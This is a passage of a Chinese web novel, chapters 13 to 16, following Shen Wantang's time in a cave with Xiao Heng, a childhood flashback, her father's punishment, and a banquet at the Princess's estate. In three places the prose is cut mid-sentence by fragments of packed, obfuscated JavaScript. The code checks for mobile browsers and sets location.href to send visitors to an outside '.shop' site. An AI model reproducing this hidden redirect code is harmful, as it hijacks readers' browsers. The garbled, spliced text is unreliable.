洞内陷入短暂的沉默，只余火苗舔舐空气的噼啪轻响。 沈挽棠起身去添柴火，许是心神未定，站起的瞬间，足踝处猛地传来一阵尖锐的刺痛。 力道刁钻，让她猝不及防。 她痛得闷哼一声，整个人失去平衡。 混乱中，只听刺啦一声细响，粗糙的石棱竟将她衣袍下摆勾破道口子。 一截小腿猝然暴露在清冷的空气中，肌肤细腻如玉，脚踝处迅速泛起一片刺目的红。 几乎在她跌坐的瞬间，一道阴影已笼罩下来。 萧珩的动作极快，他单膝触地，骨节分明的手精准扣住她受伤的脚踝。 掌心的灼热与她冰凉肌肤相触，激起一阵战栗。 “先生不必……” 沈挽棠慌乱地向后缩。 萧珩收拢指节，将纤细的足踝牢牢禁锢在掌中。 力道强势，让她动弹不得。 沈挽棠被迫抬头，撞进他深不见底的眸子里。 凤眸在跃动火光下幽深如寒潭，仿佛能将人的魂魄也一并吸入。 恍惚间，梦境与现实骤然交织. 梦中的他也是这般，用不容抗拒的力道将她禁锢在方寸之间，气息迫人。 沈挽棠心跳如擂鼓。 她能清晰地感受到他掌心的薄茧，炽热透过皮肤直窜上来。 萧珩撩开她破碎的衣角，微凉空气触及红肿处，带来一丝刺痛。 沈挽棠忍不住闷哼一声。 萧珩目光从伤处抬起，极快地瞥了她一眼。 下一刻，他手腕猝然发力。 咔哒一声轻响，伴随着她短促的吸气，错位的骨骼被精准复位。 剧痛过后是解脱的松快。 沈挽棠深呼口气。 萧珩立刻松开了手，动作干脆利落。 滚烫源头骤然离去，凉意重新包裹住她的小腿。 “休息。” 萧珩的声音比方才更哑了几分，仿佛在极力克制着什么。 洞外雨声渐沥，将天地浸润得一片泥泞。 一时半刻，不会有人寻来。 火光将两人的影子投在石壁上，微微摇曳，时而交叠，时而又分开。 呼吸声与雨声交织。 狭小天地间，无声而滚烫的暗流悄然涌动。 每一次不经意的衣料摩挲，在静谧中都放大数倍。 精神高度紧张后放松下来，一股疲惫袭上心头。沈挽棠靠着洞壁，沉沉睡去。 或许是历经了生死一线的惊心动魄，又或是这方寸之地带来的安宁。 她这一夜，竟睡得格外沉静安稳。 . 万寿宫内，檀香袅袅，氤氲出一室宁和。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16744541|189821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 永嘉帝正陪着太后说话，亲手为她剥着新进贡的荔枝。 “皇帝也尝尝，这荔枝滋味甚好。” 太后将盛满晶莹果肉的玉盘轻轻推近。 永嘉帝方欲含笑回应，殿外忽然传来一阵急促得近乎失仪的脚步声。 心腹内侍监垂首疾步而入，甚至来不及周全礼数，便径直趋近御前，俯身低语。 太后面上温婉笑容不变，目光却似有若无地扫了过来。 只见永嘉帝听着耳语，脸上笑意瞬间冻结，随即猛地站起身来。 动作间，宽大袍袖带翻了方才盛放荔枝的琉璃盏。 “哐啷！” 清脆的碎裂声在寂静的殿中骤然炸开。 甜香汁液四溅。 “何时的事？伤势如何？” 皇帝惊怒又急切。 “消息是两个时辰前刚传回的。陛下，王爷遇袭后，卫大人虽奋力救护，但混乱中王爷坠崖，如今卫大人正带人全力搜寻……” 太后眼底掠过一丝冷意。 她从容地放下茶盏，发出一声脆响，成功地将皇帝焦灼的视线引了过来。 “皇帝，何事让你如此惊慌，连天子体统都暂且搁置了？” 永嘉帝眉宇紧锁：“让母后受惊了。是宴山，他在城外遇刺，激战中坠落山崖，至今生死未卜。” “哦？摄政王下落不明？”太后微微蹙眉，流露出恰到好处的忧虑，“他是武将，想来吉人自有天相。搜寻的人手可还充足？可要加派禁军协助？” 她语锋微转，语气依旧慈爱。 “只是皇帝，你乃一国之君，当泰山崩于前而色不变。如今为了摄政王的伤势，便在哀家殿中如此失仪。传扬出去，岂非让朝臣非议，说你只重私情，罔顾君仪？” 永嘉帝并未顺着太后的话请罪。 “母后教诲的是。然宴山既是朕的胞弟，更是国之柱石。朕忧心兄弟安危是私情，关切朝廷重臣是国事，于公于私，朕都难免心焦。” 他拱手一礼，语气斩钉截铁。 “此事关乎重大，儿臣需即刻前去亲自过问。惊扰母后，儿臣晚些再来向您请罪。” 说罢，不待太后回应，便转身大步离去。 望着离去的背影，太后脸上雍容的浅笑渐渐敛去。 . 次日清晨，雨势暂歇。 沈挽棠尚未睁眼，先嗅到了一股诱人的烤鱼香。 夹杂着令人心安的气息。 萧珩早已起身，背对着她坐在洞口那块平整的石头上。 将熄未熄的篝火余烬上，架着几条串在细枝上的鱼。 晨光穿过藤蔓的缝隙，金色光斑洒在他的周身。 他的动作并不粗野。 他的手指很长，修长指节转动着树枝，手背上淡青色的血管脉络清晰可见，随着动作微微起伏。 指尖偶尔灵巧地拂去焦黑的鱼皮，露出里面雪白鲜嫩的鱼肉。 就在这时，洞口藤蔓传来一阵细微的窸窣声。 沈挽棠盯着瞧。 一只毛色橘黄相间的小猫怯生生地探进头来，睁着一双圆溜溜的眼睛，先是警惕地看了看烤鱼的萧珩，旋即好奇地望向沈挽棠。 沈挽棠眨了眨眼，眸底倏地一亮。 小猫并不凶悍，身形甚至有些瘦弱，脖颈上系着一根褪色的红绳。 大概是从山腰间的小寺庙里跑出来的。 纤细手指微微抬起，在空中停顿了一下，终究是收回手，规规矩矩放回膝上。 她垂下眼睫。 “既然喜欢，为何不碰？” 萧珩的声音打破沉寂。 沈挽棠抿紧了唇，一时没有回答。 有些教训，已刻入骨髓。 越是心爱之物，越不可轻易触碰。 烤鱼的香气丝丝缕缕地飘来，悄然牵动心底尘封的弦。 “我幼时，也曾有过一只猫，通体雪白，性子温顺，总爱蜷在我膝头打盹。” 她顿了顿，空气中只剩下鱼肉被炙烤的细微噼啪声。 “但是后来，她死了。” 14. 第 14 章 永嘉四年，深秋。 海棠苑内，昔日的繁花凋零 柳夫人成为宁远侯的继弦，乔映月终于如愿以偿，日日在这府中穿行。 而沈挽棠的生活，沉寂在深秋的庭院中，冰冷刺骨。 一日，她的舅舅顾青玄从青州远道而来。 风尘仆仆的舅舅还未歇脚，便从行囊中小心翼翼地捧出一个毛茸茸的雪白团子。 一只才几个月大的小猫。 碧蓝的眼睛像两汪清澈见底的湖水，怯生生地望着她。 “棠儿，”舅舅蹲下身，将小猫轻轻放在她怀里，“舅舅知道你这里冷清，让它陪着你，可好？” 那双总是过早沉寂的眸子，倏地被点亮。 沈挽棠将脸颊埋进小猫温暖柔软的毛发里。 她用力点头：“谢谢舅舅！棠儿很喜欢！” 她给小猫取名雪团。 它一身雪白毛发，比冬日初雪还要纯净。 平日里安静得过分的房间里，有了细弱的喵呜声。 她甚至不肯按时就寝，总要偷偷把雪团搂在怀里，贴着它温暖的小身子。 雪团是她黯淡生活里唯一的光。 她将雪团藏得极好，白日里从不让她出房门。 乔映月早已偷偷看在眼里。 她称呼宁远侯为父亲，但身份上终究是继女，与沈挽棠这位名正言顺的嫡出小姐有着云泥之别。 下人们表面恭敬，背后的议论却像细针，一根根扎进她心里。 乔映月心态越发扭曲。 她总想压过沈挽棠一头，仿佛只有这样，才能证明自己同样尊贵。 沈挽棠所拥有的一切，那与生俱来的嫡女身份、众人不自觉的关注、甚至她得到的每一份礼物，都本该分她一份。 甚至，都应该是她的。 所以，当她看见那只温顺地蜷在沈挽棠怀中，漂亮得不像话的雪团时，强烈的嫉妒瞬间吞噬了她。 “把它给我玩玩！” 乔映月伸手去夺。 沈挽棠将雪团紧紧护在胸前，连连后退。 平日里，无论乔映月要什么，她虽不舍，最终也总会沉默地让步。 她声音染上罕见哀求。 “……别的都可以，这个不行。” 乔映月嘴角勾起，脸上得意的神色更浓。 “我偏要它！” 沈挽棠抱着雪团跑开，乔映月不依不饶地追上。 推搡间，沈挽棠跌倒在地。 雪团受惊，喵地一声尖叫，本能地伸出爪子反抗。 乔映月吃痛大叫：“啊，你这该死的畜生！” 盛怒之下，她抬起脚，狠狠踢向雪团。 那团雪白的身影划出一道凄凉的弧线，噗通一声，落入了庭院冰冷的池塘中。 水面泛起几圈绝望的涟漪，那团白色挣扎了几下，便缓缓沉了下去。 “雪团！” 沈挽棠的哭声撕心裂肺。 乔映月举着带血痕的手臂，委屈地嚷道：“不过是只畜生，怎么还伤人呢？我也不是故意的！” 看着彻底沉下去的小猫，气势弱了几分。 她仍硬声道：“你、你看！是它先挠我的！它活该！” 沈挽棠没有再哭闹。 她只是缓缓抬起头，死死地盯着乔映月，那眼神冰冷刺骨，不像个八岁的孩子。 乔映月不由自主地打了个寒颤。 之后的事，便是乔映月差点丢了性命，舅舅将沈挽棠带去了青州。 外祖父看着这个沉默寡言的外孙女，心疼不已，轻抚她的头温声道：“孩子，往事不可谏，来者犹可追。外祖父给你取个新名字，叫顾时，可好？” 顾往昔而鉴，惜当下之时。 . 烤鱼的香气勾人食欲。 令人意外的是，烤鱼入口外焦里嫩，咸鲜适口，远比想象中美味。 萧珩坐在火堆旁料理着食物。 他素衣领口微松，更显得随性不拘。 骨节分明的手指精准地剔除鱼刺，慢条斯理地将最肥美的部分递过来。 怯生生的橘猫试探着走近。 沈挽棠会省下一点鱼肉，小心翼翼地放在离它不远的地方。 橘猫警惕地吃掉。 之后便在火堆旁的温暖角落蜷缩起来，发出满足的咕噜声。 沈挽棠笑眼盈盈。 她始终不敢伸手去摸，只是静静看着。 萧珩并不打扰。 只是在她望着小猫出神时，他的目光会在她专注的侧影上，停留得更久一些。 两日下来，两人达成了心照不宣的惯例。 他负责从附近浅潭捕鱼，寻觅些可食的野果。而她则默默将洞内收拾得尽量整洁，用宽大的叶片存贮清水。 不过，沈挽棠还记得他肩头的狰狞伤口。 起初换药时，她指尖动作十分轻柔，生怕弄疼了他。 可他沉默着任由她动作。 渐渐的，沈挽棠动作熟练起来，一边小心缠绕着布条，一边轻声问：“先生还疼么？” “无妨。” 他的回答总是简短。 白日的时光漫长而安静。 沈挽棠望着山川，偶尔问起某些地理志怪。 他的回答往往鞭辟入里，令人茅塞顿开。 而先生或许会考校她一些艰深的经义。 她思索后作答，有时会提出些独到见解，引来他片刻的凝视。 更多的时候，他们是无言的。 洞内只闻柴火轻微的噼啪声，以及彼此清浅的呼吸声。 沈挽棠能够敏锐的觉察到身上有一道深沉目光。 可每当抬眼看去，那目光却又已移开，仿佛只是错觉一般。 一种难以言喻的安宁与默契，在这方寸之地悄然滋生。 沈挽棠觉得异常心安。 夜色再次降临，彼此轮廓在跃动的光影中变得模糊柔和。 “先生年少时，常在外游历么？” 她看着他用树枝拨弄火堆，忍不住问道。 实在很难将书院清冷自持的先生，与眼前这个能徒手捕鱼、辨识野果的身影完全重叠。 萧珩拨弄火堆的动作顿了顿。 “嗯。”他低应了一声。 “看来这烤鱼的手艺，也是那时学来的。难怪这般好吃。” 火光摇曳，映得他眸色深深。 萧珩过了片刻，才道：“在外面确实学到很多，不过烤鱼的手艺是兄长教我的。” “兄长？” 萧珩拨弄火堆的动作未停。 “嗯，我兄长待我极好。” 提及此，他线条冷硬的侧脸轮廓，竟在火光映照下奇异地柔和了一瞬。 待我极好，听起来极有分量。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16744542|189821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 或许是这山野静谧模糊了身份界限，又或是眼前的篝火勾起了尘封记忆，他竟难得地继续说了下去。 “我少时居于偏院，鲜有人至。日常饮食常有馊腐，冬日亦无炭火取暖。” 沈挽棠屏住呼吸，视线落在眼前人身上。 难以想象如今清贵无双的宴山先生，竟有这般过往。 “兄长那时，自身处境亦艰。但总会想方设法，偷偷来瞧我。怀里揣着用荷叶包好的生鱼，还有偷偷藏起来的盐巴。” “我们便寻个角落，生火，烤鱼。他教我何时翻面，鱼肉方能不焦。那便是儿时唯一的滋味。” 他的指尖在膝盖上轻轻敲击。 沈挽棠第一次听到他说这么多话。 洞内寂静，只有柴火燃烧的轻响，和他低沉的话语交织。 那只橘猫不知何时也抬起了头，琉璃般的眼珠望着他。 一同聆听遥远往事。 日子便在平淡的重复中悄然滑过。 时间过得很快。 橘猫脖颈系着的褪色红绳，成了唯一的见证。 几日后，周玉徽标志性的哭喊声响起，伴随着杂沓的脚步声。 沈挽棠恍然醒悟。 这段与世隔绝的时光，如同一场短暂而不真实的梦。 如今梦要醒了。 她下意识地看向萧珩，他也正抬眼望来。 四目相对，似乎有什么东西，在无声中悄然改变。 山谷重归寂静。 凉风拂过，仿佛还能闻到那股混合着柴火、烤鱼和他身上清冽气息的独特味道，萦绕不散。 而那只橘猫，自那日后，再也没有出现。 . 朝堂之上，风云骤变。 一桩牵扯甚广的漕运贪墨大案被骤然揭开。 户部尚书首当其冲，罪证确凿，被迅速革职查办。 其党羽亦被连根拔起，雷霆手段令满朝文武震怖。 无人知晓，看似突如其来的风暴，实则是一张早已悄然织就的天罗地网。 从最初的线索浮现，到每一步推波助澜，乃至他本人的短暂失踪。 隐藏在深处的硕鼠倾巢而出，他一网打尽。 案头政务堆积如山。 萧珩将自己浸淫其中，填补因某个身影缺席而空寂的思绪。 然而，映照火光下的清丽脸庞，为他包扎伤口时带着细微颤抖的手……总会在不经意间，挣脱理智的束缚，清晰浮现在眼前。 萧珩闭了闭眼。 悸动如同暗处滋生的藤蔓，无声缠绕心间。 越是刻意压抑，越是肆意疯长。 . 五月初五，仲夏端午。 云麓书院门前车马喧嚣，艾草与菖蒲的清苦气息，也压不住那份即将归家的热烈。 无数装饰着五彩丝线的马车停驻。 学子们欢声笑语，互道佳节安康，各自登车归家。 学院早已张贴告示，允诸生归家探亲，自行温习课业。 沈挽棠的行李简单，早早收拾妥当，静立于廊下僻静处。 她等着那辆约定好的青篷马车。 再过不久，迟叔就会带着霜降赶来。 可周边车马一辆接一辆地来了又走，已过了约定时间。 辰时已过。 巳时亦过半。 沈挽棠的心，一点点悬起来。 15. 第 15 章 迟叔那辆青篷马车的踪影，始终未见。 沈挽棠袖中的指尖微蜷，目光不断在车马之间流转。 从书院内走出的陆泽远毫无所觉，用力拍上她的肩头。 “顾兄，假期后可要早些回来，咱们再把酒言欢，不醉不归！” 裴渡则静立一旁，一袭雨过天青色的锦袍衬得他温润如玉，风姿清雅。 他目光里含着不易察觉的关切。 “青州路远，山高水长，顾兄一路珍重。” 沈挽棠颔首道别。 忽然，眼熟的青篷马车终于驶近。 沈挽棠心下一松，正欲举步上前，车帘却唰地一声自内掀开。 一名身着深色常服的中年男子躬身下车，面容肃穆。 他步履沉稳如山，目光越过喧嚣人群，精准无比地钉在了沈挽棠身上。 沈挽棠僵在原地。 一股寒意从脚底直窜头顶，四肢百骸的血都凉了下去。 “咦，这不是……” 陆泽远挠了挠头，眼睛忽地一亮。 “我想起来了！这是宁远侯吧？年前好像来府上拜访过家父，可他怎么会来书院，还径直朝我们这儿来了？” 来者正是沈挽棠的父亲，宁远侯沈屹川。 宁远侯几步便跨到她面前，全然无视了身旁的陆泽远与裴渡，眼神冰寒刺骨。 “顾时，玩够了，该回家了。” 沈挽棠抿紧唇线，沉默不语。 宁远侯忽然扯动嘴角，露出一抹毫无温度的笑意，语气甚至放轻了些。 “府上那个叫霜降的丫头，买了新出的玉芳斋点心，正盼着你回去尝尝呢。” 他用霜降的安危作为要挟。 一旁的陆泽远听得云里雾里。 他看看面色冷硬的宁远侯，又看看脸色骤然惨白的顾时，满脑子都是糨糊。 宁远侯？回家？ 顾兄和宁远侯府，这到底是怎么回事？ 裴渡眸色渐深，目光在宁远侯与沈挽棠之间微妙流转。 沈挽棠垂着眉，遮住眼底一闪而过的惊惶。 裴渡大抵是明白其中隐情，正要上前。 沈挽棠及时挤出一个得体的笑容，转向陆泽远与裴渡，侧身引见。 “陆兄，裴世子，切勿误会。这位是宁远侯爷。不瞒二位，侯府上的二小姐沈挽棠，正是在下的表妹。” “家中长辈一直惦念，想必今日侯爷亲自前来，是催促在下去府上探望表妹，以慰亲长挂怀。” 她气息平稳，瞧不出异样。 陆泽远闻言，一拍脑袋。 “对对对！瞧我这记性！你们两家是姻亲来着，沈二姑娘是你表妹，怪不得呢。” 他心思单纯明朗，立刻接受了这番说辞，对宁远侯热络起来。 “侯爷放心！顾兄学问好，人品更是没得说，您可得多多关照他！” 裴渡眼帘微垂，复又抬起，面上依旧是无可挑剔的温雅笑意。 “原来是府上家事，是晚辈唐突了。只是见侯爷亲临，顾兄神色有异，不免多虑，还望侯爷勿怪。既是一家团聚，晚辈便先行别过，愿顾兄诸事顺遂。” 他言辞谦和得体，只是在转身刹那，眼底掠过一丝极深的审慎。 宁远侯隐约听出了话中暗藏机锋。 他眯眼打量两人，若没有猜错，这两人皆是京城顶尖的勋贵子弟。 国公府的世子，背后分量不容小觑。 权衡瞬间划过心头，宁远侯面上挤出客套笑意，对陆泽远与裴渡道：“两位世子少年英才，名不虚传。若得闲暇，欢迎来府上做客，本侯必命人备好香茗，扫榻相迎。” 语气中明显带着笼络之意。 . 宁远侯府，祠堂。 沉重的木门哐当一声合拢，彻底隔绝最后一丝天光。 室内森然肃穆。 神龛前几盏长明灯摇曳着，投下幽冷昏黄的光晕，映照着列祖列宗的牌位。 沈挽棠背脊挺得极直，独自跪在冰冷刺骨的青砖地上。 膝盖早已跪得麻木，尖锐的疼痛一阵阵袭来。 可她只是眸光沉静，不发一言。 上首，宁远侯沈屹川站着，手中拿着一柄乌木戒尺。 柳夫人侍立在旁，嘴角的得意难以掩饰。 “侯爷，您可要好好管管棠儿。她这般胆大妄为，若是传了出去，咱们侯府的脸面可就……” “那云麓书院是什么地方？里头往来的可都是裴世子、陆世子那般金尊玉贵的人物。她一个女儿家，万一露了行藏，欺瞒了这些贵人，届时莫说她自身难保，只怕我们整个宁远侯府，都要跟着遭灭顶之灾啊！” 女扮男装一事是从惊蛰口中撬出来的。 此刻的惊蛰瑟正缩在角落，死死垂着头。 柳夫人没想到沈挽棠竟如此大胆，不仅女扮男装，还潜入了云麓书院。 谁不知那书院是摄政王力主开办，意在提拔寒门。她此举，往大了说便是欺君罔上。 终于让她抓住了这致命的把柄。 柳夫人眼底的得意压都压不住。 乔映月也小声嘟囔：“就是，看她这次还怎么嚣张……” 语气里的幸灾乐祸几乎要溢出来。 她悄悄打量着沈挽棠苍白的侧脸，心里已经开始盘算着该如何借此机会，让母亲为她寻一门更合适的亲事，好从中牟利。 宁远侯的脸色愈发难看，手中的戒尺重重敲在沈挽棠的手心。 她的手心很快肿了起来，留下浅浅血痕。 “孽障！书院之事你不必再想，在为你定下亲事之前，不许踏出府门半步。” “既然你这般不知廉耻，就在祠堂里好好反省。什么时候想明白了，什么时候再起来。” 沈挽棠长长的睫毛垂着，在苍白如纸的脸上投下淡淡阴影。 柳夫人假意劝道：“棠儿，母亲知道你心里委屈。可你这般行径，实在是……唉，若是传了出去，哪个体面人家还敢要你？” 她俯下身，声音压得极低。 “礼部的李侍郎，年前刚失了夫人，正欲续弦。虽说年纪是稍长了些，但毕竟是正三品的朝廷大员，门第清贵。你嫁过去便是堂堂侍郎夫人，任谁也不敢低看一眼。这岂不强过你如今这般……落人口实？” 乔映月闻言，立刻用锦帕掩住上扬的嘴角。 她可是偷听到母亲与冯嬷嬷的私语。 李侍郎虽位高权重，却有见不得人的癖好，前后几任夫人都是郁郁而终。 这秘闻被捂得严实。 若非她舅舅是京兆府的人，能接触到些压下的卷宗，外人又如何得知？ 刺骨的寒意不断从青砖地渗入四肢百骸，沈挽棠的膝盖已经疼得失去知觉。 可她背依旧挺得很直，不发一语。 祠堂里寂静得可怕。 “姑娘……” 一声虚弱至极的呼唤自角落传来。 沈挽棠回头去看。 霜降被两个粗壮婆子反扭着手臂押了进来，头发散乱，唇瓣干裂渗着血丝，显然遭了不小的罪。 她一见到沈挽棠，眼泪便断了线般滚落。 “是奴婢没用……连累姑娘了……” 看着霜降的模样，沈挽棠眼眶瞬间红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16744543|189821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 她深深呼了一口气，气息在冰冷祠堂里凝成白雾。 她目光扫过站着的几人，声音里淬了冰。 “是谁，对她用的刑？” 宁远侯与柳夫人皆是一怔，没料到她此刻不顾自身困境，竟先问这个。 乔映月被那眼神一扫，心下发虚，却强撑着嗤笑。 “哼，一个贱婢而已，还不是她自己活该，不肯老实交代……” 她话音未落，沈挽棠已骤然起身。 “啪！” 一记清脆响亮的耳光，毫无预兆地狠狠扇在乔映月脸上。 所有人都惊呆了。 乔映月捂着脸，瞬间尖叫起来：“你敢打我？！” 她扬手就要还击，手腕却在半空被沈挽棠一把攥住。 沈挽棠的手指冰凉如铁，力道大得惊人。 乔映月被捏的腕骨生疼，竟半分力气也使不出来。 “你、你给我放开！” 乔映月挣扎着，却在对上沈挽棠那双毫无温度的眸子时，心头猛地一悸。所有气焰被浇灭，只剩下莫名的恐惧。 沈挽棠甩开她的手，转身，重新面对宁远侯与柳夫人。 惊蛰的身子抖得更厉害了，恨不能将自己缩进墙壁里。 宁远侯自觉威严受损。 “这就是不听话的下场！再有下次，便不只是跪祠堂这么简单，收起你那些不该有的心思，安分待在府里。” 沈挽棠嗤笑出声，笑声在空旷祠堂里格外刺耳。 “你以为不让我出门，就万事大吉了？倘若有人寻不着我，必是要来宁远侯府要人的。” “孽障，你说什么！” 宁远侯勃然大怒，脑中瞬间闪过无数念头。 若想让她消失，大可对外宣称她回了青州。可若有人深究到青州，终究棘手。除非是病故或出了意外…… 沈挽棠看穿他的心思，笑意竟显得有些恶劣。 “怎么，想让我死？父亲，您有这个胆子吗？” 宁远侯气得额角青筋暴起，猛地抬手。 “侯爷！”管家急促的声音在门外响起，“长公主府派人传话，特邀二姑娘过府赏花！” 那只高举的手，骤然僵在半空，落也不是，放也不是。 沈挽棠微微歪头，只静静地看着他。 “……打扮妥当，”宁远侯从牙缝里挤出这句话，“去赏荷宴。” 赏荷宴是京城顶级的盛宴，由长公主主持，他不敢得罪。 宁远侯，不敢动她。 只因当年长公主身怀六甲时，曾承蒙她生母顾夫人舍身相救，此恩长公主一直铭记。 就连她当年能从青州回到这侯府，也是长公主开了金口。 沈挽棠依旧静静瞧着他。 宁远侯被看得恼怒：“怎么，你不愿去？” “父亲若是怕生变故，女儿可以前去赴宴，全了侯府的颜面。但您也需答应我的条件。”沈挽棠漫不经心道。 宁远侯梗着脖子，脸色铁青。 “你说！” “首先，还请柳夫人把我那些东西，原封不动地还给我。” 柳夫人脸色一变，那些银钱早被她拿去打点或充作己用了，哪里还有剩余？ 她目光哀切：“老爷……” 宁远侯脸色泛紫，不耐烦地喝道：“给她！” “还有第二个条件。” “沈挽棠！你休要得寸进尺！” 沈挽棠哼笑一声，全然不理会他的暴怒，径直说道：“我还要一个人。” 说罢，她的目光越过宁远侯，落在了瑟缩在角落的身影上。 16. 第 16 章 五月廿七，长公主府。 时值盛夏，粉白荷花亭亭玉立，随风送来阵阵清甜香气。 席间珠环翠绕，众贵女言笑晏晏。 沈挽棠穿着一身浅碧色衣裙，坐在席间，眉宇疏离。 身后侍女目光如影随形，寸步不离，分明是得了严令，生怕她在这等场合寻机脱身。 趁着众人吟诗作对的间隙，她寻了个由头离席，独自走在曲折的回廊上，略透一口气。 “棠儿。” 一声轻柔熟稔的呼唤自身后响起。 沈挽棠回首，见沈婉清正款步而来。 两姐妹目光相触，皆是会心一笑。 沈挽棠轻声问候：“许久未见，叔父叔母身体可还安好？” 沈婉清走近，极自然地携了她的手。 “劳你时时记挂，父亲母亲一切都好，也常念叨你。” 两人并肩立在廊下阴影处，望着池中悠然摆尾的锦鲤。 恍惚间，仿佛回到了多年前的宁远侯府。 那时，每当小挽棠受了委屈，偷偷躲起来难过时，这位性情温和的长姐总会悄悄找到她，用帕子拭去她的眼泪，柔声细语地安抚她直到破涕为笑。 静默片刻，沈挽棠侧首。 “姐姐的婚事，我都听说了。大婚的日子可是定在秋后？” 沈婉清面颊微赧，点了点头。 “那平阳侯世子，我听闻是个品性端方的君子，与姐姐甚是相配。” 沈挽棠故意拖长了语调，难得俏皮。 “棠儿！”沈婉清顿时羞红了脸，轻轻推了她一下，嗔道，“休要取笑我。” 沈挽棠见她羞怯，正要再逗她几句，却见沈婉清神色忽而一正，目光警醒地扫过四周。 她压低声音道：“莫闹。对了，我方才过来时，瞧见那边好似有云麓书院的人，看衣着气度，许是长公主也请了宴山先生？” 这提醒来得突然，却又再明显不过。 沈挽棠顺着她示意的方向望去。 目光穿过庭院中熙攘的人群，远远便瞥见那道熟悉的清隽身影。 萧珩正与周玉徽一前一后，步入了对面的临湖水榭。 她心头猛地一跳，几乎是本能地侧身闪躲，将自己完全隐于朱红廊柱的浓重阴影之后，连呼吸都下意识地屏住了。 先生怎么会来这里？ 但转念一想，他与长公主独子交往甚密，出现在此倒也合情合理。 方才席间，似乎确有几位小姐低声议论说今日宴请了贵客，却没想到会是他。 . 水榭中，萧珩正与周玉徽交谈，目光习惯性地扫过庭院，恰巧捕捉到长廊下窈窕而仓促的侧影。 竟有几分说不出的熟悉。 他端着酒盏的手微微一顿。 是错觉么？ 难得见皇叔出神，周玉徽在一旁察言观色，“皇叔连日操劳，今日难得松快，正好歇息片刻。” 萧珩将杯中微凉的酒液一饮而尽，冰凉的液体顺着喉间滑下，驱散心底躁动。 放下酒杯时，神色已恢复一贯的沉静。 “雍城的事，如何了？” 临安王近来又活跃了，顺着京城的暗线循到了他的踪迹。 . 花园里的宾客越发多了起来，聚在一处谈笑。 沈挽棠回京不久，认得她的人不多，打量的目光却毫不掩饰。 好奇与审视交织成一张无形的网，黏着在她身上。 虽碍于长公主威仪只敢窃窃私语，也足以让人浑身不自在。 然而，骤起的怒火却是冲着沈婉清去的。 岳明薇用团扇慢条斯理地扇着风，目光却像淬了毒的针。 “哟，这不是宁远侯府沈大姑娘吗？我们方才还在说呢，平阳侯爷近来在朝堂上真是风头无两，办了好几件漂亮的差事，连带着我们这些旁观的，都觉得脸上有光。” 宁远侯府大姑娘与平阳侯府议亲的事早已传开。 “平阳侯爷手段这般了得，规矩定然极大。我们真是替大姑娘你担心，就凭宁远侯府如今这般光景，还有大姑娘你这般温吞性子，将来过了门，日子可怎么熬呢？” 她身旁的同伴接口，掩唇笑道：“明薇姐姐就是心善，净替旁人操心。不过我觉得，未来儿媳若不够出挑，怕是难以入平阳侯府的眼吧？” 明着捧高平阳侯，暗里却是最刻薄的羞辱。 沈挽棠眸光一冷，便要上前。 沈婉清急忙拉住她的衣袖，轻轻摇头。 沈挽棠轻轻挣开。 她语气平静，嘲讽却清晰。 “岳姑娘对平阳侯爷的政绩倒是如数家珍。只是我很好奇，令尊大人在漕运任上，若非行事有亏，克扣粮饷，授人以柄，又怎会恰好被眼里揉不得沙子的平阳侯爷参那一本，以致丢官去职呢？” 她竟将岳家这桩最不光彩的旧事，在众目睽睽之下掀了出来。 岳明薇脸色瞬间煞白，手指颤抖地指着她：“你！你竟敢在此胡言乱语，污蔑我父亲！” 沈挽棠声音又清亮了几分。 “你岳家今日之果，难道不正是昨日自己种下的因吗？自身尚且难保，如今倒有闲心来操心别人家的规矩了？这份善心，还是留着自省为好。” “你放肆！” 岳明薇气急败坏，理智尽失，扬手竟要向沈挽棠脸上掴去。 沈婉清惊呼一声，想也不想便将沈挽棠护在身后，准备硬生生接下这巴掌。 沈挽棠眼神一厉，正欲将长姐推开。 “诸位姑娘好雅兴。” 一道温润却不容置疑的嗓音自身后响起。 如同玉石相击，瞬间定住了场中局面。 众人循声回头。 却见裴渡不知何时已立于不远处，脸上依旧带着惯常的温和笑意，眼神却沉着。 通身气度流露出一种世家子弟天生的压迫感。 周遭空气为之一静。 “只是，”他目光淡淡扫过岳明薇僵在半空的手，“私下妄测朝臣家事，已非淑女所为。如今竟还要在长公主府上动手，这恐怕，非我辈闺秀应有之行止吧？” “裴、裴世子……” 岳明薇的手僵在半空，脸色由白转红，又由红转青。 看着眼前这位自己倾慕已久、却从未正眼看过自己的男子，眼中瞬间盈满了羞愤与委屈的泪水，嘴唇哆嗦着，却连一句完整的话都说不出来。 其余几位跟着起哄的小姐，见到来人是他，脸上亦是青白交错，讪讪地福了一礼，几乎是落荒而逃。 待闲杂人等散去，裴渡这才缓步上前，目光落在沈挽棠身上。 “沈大姑娘、二姑娘，受惊了。” 裴渡会意，仅上前一步，刻意压低声音，仅容她一人听见。 